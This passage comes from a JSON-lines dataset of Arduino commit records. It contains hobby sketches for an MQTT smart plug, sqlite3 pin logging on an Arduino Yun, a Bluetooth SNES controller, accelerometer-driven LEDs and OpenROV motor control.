digitalWrite(PIN_CONTROL, HIGH);\n }\n report_status();\n}\n\nvoid report_status() {\n String data(\"{\\\"status\\\":\");\n data += String(g_status);\n data += String(\",\\\"devid\\\":\\\"\");\n data += String(g_devid);\n data += String(\"\\\"}\");\n\n Serial.println(data);\n client.publish(g_topic, data.c_str());\n}\n\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n StaticJsonBuffer<JSON_BUFSIZE> jsonBuffer;\n\n bytes[length] = 0;\n Serial.println(bytes);\n\n JsonObject& root = jsonBuffer.parseObject(bytes);\n if (!root.success()) {\n Serial.println(\"bad json\");\n return;\n }\n\n if (strcmp(root[\"devid\"], g_devid) != 0) {\n Serial.println(\"bad devid\");\n return;\n }\n\n if (strcmp(root[\"cmd\"], \"set_status\") == 0) {\n Serial.println(\"set_status\");\n uint8_t st = root[\"status\"];\n set_status(st);\n } else if (strcmp(root[\"cmd\"], \"plug_get\") == 0) {\n report_status();\n }\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n Serial.println(\"em\");\n}\n\nvoid init_ethernet() {\n\/\/ IPAddress ip(192,168,2,183);\n \n\/\/ Ethernet.begin(mac, ip);\n while (!Ethernet.begin(mac)) {\n Serial.print(\"ie\");\n delay(1000);\n }\n\n Serial.print(\"i:\");\n Serial.println(Ethernet.localIP());\n#if 0\n Serial.print(\"s:\");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"g:\");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"d:\");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid init_network() {\n init_ethernet();\n\n \/\/TODO: if we can't get reg info and tick info\n get_host_v2(g_appkey, url);\n get_ip_port(url, broker_addr, &port);\n\n setup_with_appkey_and_devid(g_appkey, g_devid);\n\n client.begin(broker_addr, port, net);\n connect_yunba();\n}\n\nvoid setup() {\n\n Serial.begin(57600);\n Serial.println(\"ini..\");\n\n pinMode(PIN_CONTROL, OUTPUT);\n digitalWrite(PIN_CONTROL, LOW);\n\n init_network();\n\n Serial.println(\"ini..ok\");\n}\n\nvoid loop() {\n client.loop();\n\n check_connect();\n\n#if 0\n if (millis() - g_last_check_ms > 20000) {\n g_last_check_ms = millis();\n client.publish(g_topic, \"test\");\n }\n#endif\n delay(100);\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"48b905f80277a3e22067c0743cb52088086d2bc5","subject":"Create test.ino","message":"Create test.ino\n\narduino yun sketch to put pin data into a sqlite3 database","repos":"alnitak1000\/Arduino-Yun-pin-output-to-sqlite-db-project","old_file":"test.ino","new_file":"test.ino","new_contents":"\/*get time and pin1 and pin2 state and run a linux process on the linino server to write to database table\n*\/\n#include <Bridge.h>\n#include <Process.h>\n\n\/\/ how often to run the pin read (in milliseconds)\nconst unsigned long RUN_INTERVAL_MILLIS = 60000; \n\n\/\/ the last time we ran the pin read (initialized to 60 seconds ago,\n\/\/ so the pins are read immediately when we start up)\nunsigned long lastRun = (unsigned long)-60000;\n\/\/ variables for setting up time \nProcess date; \/\/ process used to get the date\nString timeString;\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \n \/\/ for debugging, wait until a serial console is connected. This can be removed after the code is debugged, along with all the Serial. commands\n Serial.begin(9600);\n delay(4000);\n while(!Serial);\n\n Serial.print(\"Initializing the bridge...\");\n Bridge.begin();\n Serial.println(\"OK\");\n\n \/\/ run an initial date process. Should return:\n \/\/ hh:mm:ss :\n if (!date.running()) {\n date.begin(\"date\");\n date.addParameter(\"+%D +%T\");\n date.run();\n Serial.println(date.readString());\n }\n\n}\/\/end setup\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/ get the number of milliseconds this sketch has been running\n unsigned long now = millis();\n\n \/\/ run again if it's been RUN_INTERVAL_MILLIS milliseconds since we last ran\n if (now - lastRun >= RUN_INTERVAL_MILLIS) {\n\n \/\/ remember 'now' as the last time we checked the pins\n lastRun = now;\n \/\/ get the date and time\n if (!date.running()) {\n date.begin(\"date\");\n date.addParameter(\"+%D +%T\");\n date.run();\n }\/\/end if\n \n \/\/ put the date and time into a string variable\n while (date.available()>0) {\n timeString = date.readString(); \n }\/\/end while\n \n \/\/get the pin states and add them to the database\n String pin1 = String(getSensorValue(1));\n String pin2 = String(getSensorValue(2));\n runSqlQuery(timeString,pin1,pin2);\n } \/\/end if\n}\/\/ end loop\n \/\/ function to run the appending of the data to the database\n unsigned int runSqlQuery(String time, String pin1, String pin2){\n Process p;\n String cmd = \"sqlite3 \";\n String paramstring1 = \"-line \";\n \/\/ set the path and name of your database here\n String paramstring2 =\"\/mnt\/sda1\/arduino\/www\/test\/test1.db \";\n \/\/ insert a row with time and sensor data \n String paramstring3 =\"'insert into testdata (\\\"time\\\",\\\"pin1\\\",\\\"pin2\\\") Values (\\\"\"+time+\"\\\",\"+pin1+\",\"+pin2+\");'\";\n \/\/ get the error code\n String paramstring4 =\" ; echo $?\";\n p.runShellCommand(cmd + paramstring1 + paramstring2 + paramstring3+ paramstring4);\n Serial.println(\"process run\");\n \/\/ A process output can be read with the stream methods\n while (p.available()>0) {\n char c = p.read();\n Serial.print(c);\n }\n \/\/ Ensure the last bit of data is sent.\n Serial.flush();\n\n }\n\/\/function to get sensor values with debugging information\nint getSensorValue(int pinNum) {\n Serial.print(\"Reading pin \"+ String(pinNum)+ \"value...\");\n int value = analogRead(pinNum);\n Serial.println(\"OK\");\n return value;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c9adafd74f91e9f8e277955b820c1f24b13abff0","subject":"Added more resolution to graphical temperature indicator","message":"Added more resolution to graphical temperature indicator\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/experimental_stepper_code_3\/experimental_stepper_code_3.ino","new_file":"grahams' test code\/experimental_stepper_code_3\/experimental_stepper_code_3.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0cb2ee706fc68fe49d5a2396ba2a8a704fb38873","subject":"file arduino","message":"file arduino\n","repos":"andretone\/snestone","old_file":"snestone.ino","new_file":"snestone.ino","new_contents":"\/*Andrea Tone's code andrea.aka,tone@gmail.com for infos and more*\/\n\/*codice arduino per implementazione SNES controller bluetooth HID*\/\n\/* alcune scelte progettuali sono state ispirate dai seguenti progetti\/tutorial liberamente \naccessibili dal web ai seguenti linnk:\nhttp:\/\/www.instructables.com\/id\/Bluetooth-SNES-Controller-for-Android\/\nhttp:\/\/www.kobakant.at\/DIY\/?p=3310\n*\/\n\/*componenti essenziali per il mio progetto\n-arduino mini pro 3.3V\n-Modem Bluetooth - BlueSMiRf HID\n*\/\n\n\/* todo: bottone che se premuto sposta l'utilizzo della croce da \nanalogico a D-pad*\/\n\n\/\/pin\nint latch = 5;\nint clock = 6;\nint data = 7;\n\n\/\/pin scelta modo DPAD va attivato il push pull\nint mode = 12;\n\n\/\/inizio del rawinput\nbyte preambolo = 0xFD;\nbyte length = 0x06;\n\n\/\/global array, SNES POLLING\/SHIFTING ORIGINALS RESULTS\nboolean controllerData[16];\n\nboolean dpadmode = false;\n\n\/\/4 byte definiscono rispettivamente 2 assi e tasti\nbyte b [4];\n\n\/\/sapere se devo inviare qualcosa o no\nboolean anyP = false;\n\n\/\/il raw input da inviare ogni volta, preambolo e lunghezza restano \n\/\/sempre uguali\nbyte rawinput [8];\n\nvoid setup() {\n Serial.begin(57600);\n pinMode(latch, OUTPUT);\n pinMode(clock, OUTPUT);\n pinMode(data, INPUT);\n \n \/\/modepin e attivo push pull\n pinMode(mode, INPUT);\n digitalWrite(mode, HIGH);\n \n \/\/inizializzazione raw input, parte che non cambia\n rawinput[0] = preambolo;\n rawinput[1] = length;\n dpadmode = false;\n}\n\n\/\/read buttons pressed on snes controller, write results on controllerData global array\nvoid readButtons(){\n digitalWrite(latch, LOW);\n digitalWrite(clock, LOW);\n\n \/\/segnale di latch\n digitalWrite(latch, HIGH);\n delayMicroseconds(12);\n digitalWrite(latch, LOW);\n\n delayMicroseconds(6);\n\n controllerData[0] = (digitalRead(data) == HIGH);\n\n for (int i = 1; i < 16; i++){\n digitalWrite(clock, HIGH);\n delayMicroseconds(6);\n digitalWrite(clock, LOW);\n delayMicroseconds(6);\n controllerData[i] = (digitalRead(data) == HIGH);\n }\n \/\/ Button Reference\n \/\/ 01111111 11111111 - B\n \/\/ 10111111 11111111 - Y\n \/\/ 11011111 11111111 - Select\n \/\/ 11101111 11111111 - Start\n \/\/ 11110111 11111111 - Up\n \/\/ 11111011 11111111 - Down\n \/\/ 11111101 11111111 - Left\n \/\/ 11111110 11111111 - Right\n \/\/ 11111111 01111111 - A\n \/\/ 11111111 10111111 - X\n \/\/ 11111111 11011111 - L\n \/\/ 11111111 11101111 - R\n}\n\n\n\/*\ni nuovi joypad hanno questo schema:\nposizione bottone\n0 b\n1 a\n2 y\n3 x\n4 L\n5 R\n6 (L2)\n7 (L3)\n8 select\n9 start\n10 (L3)\n11 (L4)\n12 (D-up)\n13 (D-down)\n14 (D-left)\n15 (D-right)\n*\/\n\nvoid inTo2Bytes(byte * bytes){\/\/ritorna 3 byte\n \/\/si guarda controllerData nelle giuste posizioni:\n \n bytes[0] = 0x00;\/\/asseX -127 a +127\n bytes[1] = 0x00;\/\/asseY -127 a +127\n bytes[2] = 0x00;\/\/tutto zero\n bytes[3] = 0x00;\/\/tutto zero\n \n for( int p = 0; p < 12; p++){\n if(!controllerData[p]){\n switch(p){\n case 4:\/\/UP\n if(dpadmode){\n bytes[3] = bytes[3] | 0x10;\n }else{\n bytes[1] = 0x81;\n }\n break;\n case 5:\/\/DOWN\n if(dpadmode){\n bytes[3] = bytes[3] | 0x20;\n }else{\n bytes[1] = 0x7F; \/\/+127\n }\n break;\n case 6:\/\/LEFT\n if(dpadmode){\n bytes[3] = bytes[3] | 0x40;\n }else{\n bytes[0] = 0x81;\n }\n break;\n case 7:\/\/RIGHT\n if(dpadmode){\n bytes[3] = bytes[3] | 0x80;\n }else{\n bytes[0] = 0x7F;\n }\n break;\n \/\/cambiamo in un ordine naturale, dal primario al meno primario\n case 0:\/\/B\n bytes[2] = bytes[2] | 0x01;\n break; \n case 8:\/\/A\n bytes[2] = bytes[2] | 0x02;\n break; \n case 1:\/\/Y\n bytes[2] = bytes[2] | 0x04;\n break;\n case 9:\/\/X\n bytes[2] = bytes[2] | 0x08;\n break;\n case 10:\/\/L\n bytes[2] = bytes[2] | 0x10;\n break;\n case 11:\/\/R\n bytes[2] = bytes[2] | 0x20;\n break;\n case 2:\/\/SEL\n bytes[3] = bytes[3] | 0x01;\n break;\n case 3:\/\/START\n bytes[3] = bytes[3] | 0x02;\n break;\n }\n }\n }\n}\n\n\/\/compone ed invia i dati secondo la descrizione specificata dal Bluesmirf\nvoid makeRawHIDInput(byte data []){ \n rawinput[2] = data[0];\n rawinput[3] = data[1];\n rawinput[4] = 0x00;\n rawinput[5] = 0x00;\n rawinput[6] = data[2];\n rawinput[7] = data[3];\n}\n\n\/\/invio dati al modulo bluetooth\nvoid send2serial(){\n for(int a= 0; a < 8; a++){\n Serial.write(rawinput[a]);\n }\n \/*\n \/\/test\n for(int a= 0; a < 8; a++){\n Serial.print(rawinput[a],HEX);\n Serial.print(\"|\");\n }\n Serial.print(\"\\n\");*\/\n \n}\n\nvoid readMode(){\n if( digitalRead(mode) == HIGH ){\n dpadmode = true;\n }else{\n dpadmode = false;\n }\n}\n\nvoid loop() {\n readButtons();\n readMode();\n inTo2Bytes(b);\n makeRawHIDInput(b);\n send2serial();\n delay(16);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'snestone.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"170dd47bdebeda94f68254059e7dd595766fff7a","subject":"New file: 3D accelerometer with auto calibration feature.","message":"New file: 3D accelerometer with auto calibration feature.\n","repos":"jeremykenedy\/arduino","old_file":"Vernier3DAAutoscale\/Vernier3DAAutoscale.ino","new_file":"Vernier3DAAutoscale\/Vernier3DAAutoscale.ino","new_contents":"\/*\nVernier3DA (v 2014.12)\nThis project assumes that you have a Vernier 3D Accelerometer connected to \nthree BTA connectors. It also assumes that you have an RGB LED connected to\nPWM outputs 3, 5, and 6.\n\nPlug x into the first BTA (A0), y into the second BTA (A2), and z into\nthe third BTA (A4).\nThe brightness of the red LED is controlled by the x axis acceleration.\nThe brightness of the green LED is controlled by the y axis acceleration.\nThe brightness of the blue LED is controlled by the z axis acceleration.\n\nDuring the first 10 seconds of this program you should rotate the \naccelerometer through all 3 axes. This will calibrate the signal for\nyou specific accelerometer. All LEDs will flash for 1 second at the beginning \nand end of this \"calibration\".\nAfter calibration, each color should progress through a range of \"off\" to \nfull power based on the orientation of the accelerometer. Sitting flat on a \nsurface (z-axis up) is blue, flat on its side (y-axis up) is green, and cord\nfacing down is red.\nNote that either individual LEDs or a RGB LED may be used.\n\nIn order to experiment with 2 colors one of the LEDs must be disconnected from \nthe digital output (Redpin, Greenpin, or Bluepin).\n\nSee www.vernier.com\/arduino for more information.\n*\/\nconst int RedPin = 3;\nconst int GreenPin = 5;\nconst int BluePin = 6;\n\nconst int sensorPinRed = A0;\nconst int sensorPinGreen = A2;\nconst int sensorPinBlue = A4;\n\nint var = 1;\nint minReadingRed = 750; \/\/ High value to force the minimum \nint maxReadingRed = 0; \/\/ Low value to force the maximum\n\nint minReadingGreen = 750;\nint maxReadingGreen = 0;\n \nint minReadingBlue = 750;\nint maxReadingBlue = 0;\n\nint analogValue = 0;\nint time;\nint analogOut; \nint flash;\n\nvoid setup()\n{ \n Serial.begin(9600); \n Serial.println();\n} \nvoid loop() \n{\n \n while (time < 1000){ \/\/ LEDs to flash at start of calibration \n time = millis();\n analogWrite(RedPin, 255);\n analogWrite(GreenPin, 255);\n analogWrite(BluePin, 255);\n delay (1000);\n analogWrite(RedPin, 0);\n analogWrite(GreenPin, 0);\n analogWrite(BluePin, 0);\n delay (10);}\n \n while (time>1000 && time < 11000){ \/\/ Time to calibrate each sensor to it's particular range of values.\n time = millis();\n \/\/Red\n analogValue = analogRead(sensorPinRed);\n maxReadingRed = max(analogValue, maxReadingRed);\n minReadingRed = min(analogValue, minReadingRed);\/\/ This is the absolute min. We'll want midpoint\n Serial.print(\"Analog Red \"); \n Serial.print(analogValue, DEC);\n delay (20);\n \/\/Green\n analogValue = analogRead(sensorPinGreen);\n maxReadingGreen = max(analogValue, maxReadingGreen);\n minReadingGreen = min(analogValue, minReadingGreen);\/\/ This is the absolute min. We'll want midpoint\n Serial.print(\" Analog Green \"); \n Serial.print(analogValue, DEC);\n delay (20);\n \/\/Blue\n analogValue = analogRead(sensorPinBlue);\n maxReadingBlue = max(analogValue, maxReadingBlue);\n minReadingBlue = min(analogValue, minReadingBlue);\/\/ This is the absolute min. We'll want midpoint \n Serial.print(\" Analog Blue \"); \n Serial.println(analogValue, DEC);\n delay (20);\n }\n while(time > 11000 && time < 12000){\/\/ LEDs to flash at finish of calibration \n time = millis();\n analogWrite(RedPin, 255);\n analogWrite(GreenPin, 255);\n analogWrite(BluePin, 255);\n delay (1000);\n analogWrite(RedPin, 0);\n analogWrite(GreenPin, 0);\n analogWrite(BluePin, 0);}\n \n while (var == 1){\n \n minReadingRed = minReadingRed+0.5*(maxReadingRed - minReadingRed); \/\/ Sets midpoint as minimum\n minReadingGreen = minReadingGreen+0.5*(maxReadingGreen - minReadingGreen); \n minReadingBlue = minReadingBlue+0.5*(maxReadingBlue - minReadingBlue); \n \n Serial.println();\n Serial.print(\"minReadingRed = \" );\n Serial.print(minReadingRed, DEC);\n Serial.print(\" maxReadingRed = \" );\n Serial.println(maxReadingRed, DEC);\n Serial.print(\"minReadingGreen = \" );\n Serial.print(minReadingGreen, DEC);\n Serial.print(\" maxReadingGreen = \" );\n Serial.println(maxReadingGreen, DEC);\n Serial.print(\"minReadingBlue = \" );\n Serial.print(minReadingBlue, DEC);\n Serial.print(\" maxReadingBlue = \" );\n Serial.println(maxReadingBlue, DEC);\n var = 2;\n }\n \/\/ Below is scrolling printout\n \n \/\/Red\n \n analogValue = analogRead(sensorPinRed);\n analogValue = constrain(analogValue, minReadingRed, maxReadingRed);\n Serial.print(\"analogValue Red = \" ); \n Serial.print(analogValue); \n \n analogOut = map(analogValue, minReadingRed, maxReadingRed, 0, 255);\n analogOut = constrain(analogOut, 0, 255); \n Serial.print(\" scaled to \" );\n Serial.print(analogOut, DEC);\n analogWrite(RedPin, analogOut);\n \n \/\/Green\n \n analogValue = analogRead(sensorPinGreen);\n analogValue = constrain(analogValue, minReadingGreen, maxReadingGreen);\n Serial.print(\" Green = \" ); \n Serial.print(analogValue); \n \n analogOut = map(analogValue, minReadingGreen, maxReadingGreen, 0, 255); \n analogOut = constrain(analogOut, 0, 255); \n Serial.print(\" scaled to \" ); \n Serial.print(analogOut, DEC);\n analogWrite(GreenPin, analogOut);\n \n \/\/Blue\n \n analogValue = analogRead(sensorPinBlue);\n analogValue = constrain(analogValue, minReadingBlue, maxReadingBlue);\n Serial.print(\" Blue = \" ); \n Serial.print(analogValue); \n \n analogOut = map(analogValue, minReadingBlue, maxReadingBlue, 0, 255);\n analogOut = constrain(analogOut, 0, 255);\n Serial.print(\" scaled to \" ); \n Serial.println(analogOut, DEC);\n analogWrite(BluePin, analogOut);\n \n delay (25);\n\n \/* TEST AREA ABOVE!! Don't delete below just yet!\n \/\/Red\n analogValue = analogRead(sensorPinRed);\n analogOut = map(analogValue, minReadingRed, maxReadingRed, 0, 255);\n Serial.print(\"Red = \" ); \n Serial.print(analogValue, DEC);\n analogWrite(RedPin, analogOut);\n \n \/\/Green\n analogValue = analogRead(sensorPinGreen);\n analogOut = map(analogValue, minReadingGreen, maxReadingGreen, 0, 255);\n Serial.print(\"Green = \" ); \n Serial.print(analogValue, DEC);\n analogWrite(GreenPin, analogOut);\n \n \/\/Blue\n analogValue = analogRead(sensorPinBlue);\n analogOut = map(analogValue, minReadingBlue, maxReadingBlue, 0, 255);\n Serial.print(\"Blue = \" ); \n Serial.println(analogValue, DEC);\n analogWrite(BluePin, analogOut);\n \n delay(25); *\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Vernier3DAAutoscale\/Vernier3DAAutoscale.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddb0a2fee8fff47d2e7ce2c7e79eb987422f2810","subject":"Better timing using millis()","message":"Better timing using millis()\n","repos":"spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,spiderkeys\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,OpenROV\/openrov-cockpit,johan--\/openrov-cockpit,BrianAdams\/openrov-cockpit,kavi87\/openrov-cockpit,OpenROV\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BrianAdams\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,johan--\/openrov-cockpit,OpenROV\/openrov-cockpit,kavi87\/openrov-cockpit,kavi87\/openrov-cockpit,spiderkeys\/openrov-cockpit,kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit","old_file":"arduino\/OpenROV.ino","new_file":"arduino\/OpenROV.ino","new_contents":"#include <Servo.h>\n\nvoid rov_analog_write();\n\nServo tilt, light, port, vertical, starbord;\n\nint speed_offset = 31, l = 0, MIDPOINT = 128, \n p = MIDPOINT, v = MIDPOINT, s = MIDPOINT, t = MIDPOINT;\n\nunsigned long startTime = millis(); \/\/ time based on hardware register - Timer #0\nunsigned long interval1 = 1000; \/\/ one second interval\nint interval2 = 10; \/\/ multiple of interval1\nlong count = 0; \/\/ counter for interval2\nunsigned long lastTime = 0; \/\/ use for holding time of last interval\n\nint pin_read = 0; \/\/ holds value of analog read\nfloat voltage = 0; \/\/ holds scaled value of voltage - adjusted for voltage divider\nfloat scale = 15.0\/1023.0; \/\/ scale factor for 3 to 1 voltage divider - 15V reduced to 5V\n\n\/\/ Note - this will not be neede for ROV pc board\n\/\/ led on pin 19 of ATmega328 breadboard to indicate if program is running - connected to pin 13 on Arduino boards\nint led = 13;\nint blink = 0; \/\/ toggle to blink on\/off - period = interval\n\nvoid setup(){\n \n Serial.begin(9600);\n \n Serial.println();\n Serial.println(\"Begin\");\n\n \/\/ Output elapsed time \n elapsed_time_output(startTime);\n \n tilt.attach(5);\n light.attach(6);\n port.attach(9);\n vertical.attach(10);\n starbord.attach(11);\n\n \n \/\/ initialize the digital pin as an output for led blink\n pinMode(led, OUTPUT); \n\n}\n\nvoid loop(){\n \n \n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Get commands from OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \n \n if (Serial.available()) {\n delay(30); \/\/ number of characters to be read? buffer delay (TODO: affects timing of sensors... fix this?)\n String cmd = \"\";\n char in;\n while(Serial.available() > 0) { \/\/ read full string\n in = Serial.read();\n if (in == ';') break;\n cmd += in; \/\/ concat each char to string\n }\n \n \/\/ Parse command from Beaglebone\n if (cmd == \"move_up\") { vertical.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_down\") { vertical.write(MIDPOINT - speed_offset); }\n else if (cmd == \"move_forward\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_aft\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd == \"rotate_left\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"rotate_right\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd.startsWith(\"throttle(\")) {\n cmd.replace(\"throttle(\", \"\");\n cmd.replace(\")\", \"\");\n speed_offset = atoi(&cmd[0]);\n }\n else if (cmd.startsWith(\"go(\")) {\n cmd.replace(\"go(\", \"\");\n cmd.replace(\")\", \"\");\n \n int portVal = MIDPOINT, starbordVal = MIDPOINT, verticalVal = MIDPOINT;\n String servoVal = \"\";\n int nextPort = 0;\n String temp;\n \n for (int i = 0; i < cmd.length(); i++){\n temp = (char*)cmd[i];\n if (temp != \",\"){ servoVal += temp; }\n else if (nextPort == 0) { portVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n else if (nextPort == 1) { starbordVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n }\n verticalVal = atoi(&servoVal[0]);\n \n port.write(portVal);\n vertical.write(verticalVal);\n starbord.write(starbordVal);\n\n }\n else {port.write(MIDPOINT); vertical.write(MIDPOINT); starbord.write(MIDPOINT); } \/\/ stop\n \n \/\/Serial.println(cmd);\n }\n \n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Write commands to OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n\n\/\/ TODO: make these actually do something, just testing for now\n \/\/ once every interval1\n if (millis() - lastTime > interval1){\n lastTime = millis(); \/\/ reset interval1 timer\n count++; \/\/ increment interval2 count\n \n if (blink == 0){\n digitalWrite(led, HIGH); \/\/ turn the led on (HIGH is the voltage level)\n blink = 1; \/\/ reset toggle\n }\n else{\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n blink = 0; \/\/ reset toggle\n }\n \n rov_analog_output(1, \"float\"); \/\/ output value\n }\n \n \/\/ once every interval2\n if (count == interval2){\n count=0; \/\/ reset interval2 counter\n\n \/\/ Output elapsed time \n elapsed_time_output(startTime);\n\n pin_read = analogRead(0); \/\/ read voltage on pin 0 and output to serial port\n voltage=pin_read*scale; \/\/ 15V will scale to 5V at analog in pin 0 with 3 to 1 voltage divider\n Serial.print(\"Battery Voltage:\"); \/\/ Connect Battery output to analog pin 0 using voltage divider\n Serial.println(voltage); \/\/ Nominal Battery voltage is 12V - analog pin input 0-5V\n \/\/ Divide by 3 with voltage divider\n \n }\n}\n\n\/\/ Actually create and send command\n\/\/ Example: rov_analog_output(0, \"salinity\");\n\/\/ outputs: salinity:124;\nvoid rov_analog_output(int pin, String cmd){\n cmd += \":\"; \/\/ separates command and value\n char cmd_output[50];\n cmd.toCharArray(cmd_output, 50);\n int pin_read = analogRead(pin);\n String pin_read_str = String(pin_read);\n char out[5];\n pin_read_str.toCharArray(out, 5);\n \n Serial.write(cmd_output);\n Serial.write(out);\n Serial.write(\";\"); \/\/ command delimiter\n Serial.println(); \/\/ newline\n}\n\n\/\/ Output elapsed time\nvoid elapsed_time_output(unsigned long sTime){\n #define SEC_PER_MIN 60\n #define SEC_PER_HOUR 3600\n unsigned long elapsedTime = (millis() - sTime)\/1000;\n Serial.print(\"Elapsed time is \");\n Serial.print(elapsedTime\/SEC_PER_HOUR);\n Serial.print(\":\");\n Serial.print((elapsedTime\/SEC_PER_MIN) % SEC_PER_MIN);\n Serial.print(\":\"); \n Serial.println(elapsedTime % SEC_PER_MIN);\n}\n","old_contents":"#include <Servo.h>\n\nvoid rov_analog_write();\n\nServo tilt, light, port, vertical, starbord;\n\nint speed_offset = 31, l = 0, MIDPOINT = 128, \n p = MIDPOINT, v = MIDPOINT, s = MIDPOINT, t = MIDPOINT;\n \nint count;\n\nvoid setup(){\n\n Serial.begin(9600);\n \n tilt.attach(5);\n light.attach(6);\n port.attach(9);\n vertical.attach(10);\n starbord.attach(11);\n\n count = 0;\n}\n\nvoid loop(){\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Get commands from OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \n if (Serial.available()) {\n delay(30); \/\/ number of characters to be read? buffer delay (TODO: affects timing of sensors... fix this?)\n String cmd = \"\";\n char in;\n while(Serial.available() > 0) { \/\/ read full string\n in = Serial.read();\n if (in == ';') break;\n cmd += in; \/\/ concat each char to string\n }\n \n \/\/ Parse command from Beaglebone\n if (cmd == \"move_up\") { vertical.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_down\") { vertical.write(MIDPOINT - speed_offset); }\n else if (cmd == \"move_forward\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_aft\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd == \"rotate_left\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"rotate_right\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd.startsWith(\"throttle(\")) {\n cmd.replace(\"throttle(\", \"\");\n cmd.replace(\")\", \"\");\n speed_offset = atoi(&cmd[0]);\n }\n else if (cmd.startsWith(\"go(\")) {\n cmd.replace(\"go(\", \"\");\n cmd.replace(\")\", \"\");\n \n int portVal = MIDPOINT, starbordVal = MIDPOINT, verticalVal = MIDPOINT;\n String servoVal = \"\";\n int nextPort = 0;\n String temp;\n \n for (int i = 0; i < cmd.length(); i++){\n temp = (char*)cmd[i];\n if (temp != \",\"){ servoVal += temp; }\n else if (nextPort == 0) { portVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n else if (nextPort == 1) { starbordVal = atoi(&servoVal[0]); nextPort++; servoVal = \"\"; }\n }\n verticalVal = atoi(&servoVal[0]);\n \n port.write(portVal);\n vertical.write(verticalVal);\n starbord.write(starbordVal);\n\n }\n else {port.write(MIDPOINT); vertical.write(MIDPOINT); starbord.write(MIDPOINT); } \/\/ stop\n \n \/\/Serial.println(cmd);\n }\n \n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Write commands to OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \n \/\/ TODO: make these actually do something, just testing for now\n \/\/ once every 1,300 counts\n if (count % 1300 == 0){\n rov_analog_output(1, \"float\");\n }\n \/\/ once every 10,000 counts\n if (count == 10000){\n rov_analog_output(0, \"salinity\");\n count = 0; \/\/ reset counter (this should be done by the longest \"running\" counter\n }\n count++;\n}\n\n\/\/ Actually create and send command\n\/\/ Example: rov_analog_output(0, \"salinity\");\n\/\/ outputs: salinity:124;\nvoid rov_analog_output(int pin, String cmd){\n cmd += \":\"; \/\/ separates command and value\n char cmd_output[50];\n cmd.toCharArray(cmd_output, 50);\n int pin_read = analogRead(pin);\n String pin_read_str = String(pin_read);\n char out[5];\n pin_read_str.toCharArray(out, 5);\n \n Serial.write(cmd_output);\n Serial.write(out);\n Serial.write(\";\"); \/\/ command delimiter\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"ff30408d951ae06a23df2719e6f20bec7db01df0","subject":"added apparent power readings","message":"added apparent power readings\n","repos":"ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system,ESAI-CEU-UCH\/raspi-monitoring-system","old_file":"utils\/emontxv3_firmware\/raspimon_firmware\/DiscreteSampling\/DiscreteSampling.ino","new_file":"utils\/emontxv3_firmware\/raspimon_firmware\/DiscreteSampling\/DiscreteSampling.ino","new_contents":"\/*\n \n emonTxV3.4 Discrete Sampling\n \n If AC-AC adapter is detected assume emonTx is also powered from adapter (jumper shorted) and take Real Power Readings and disable sleep 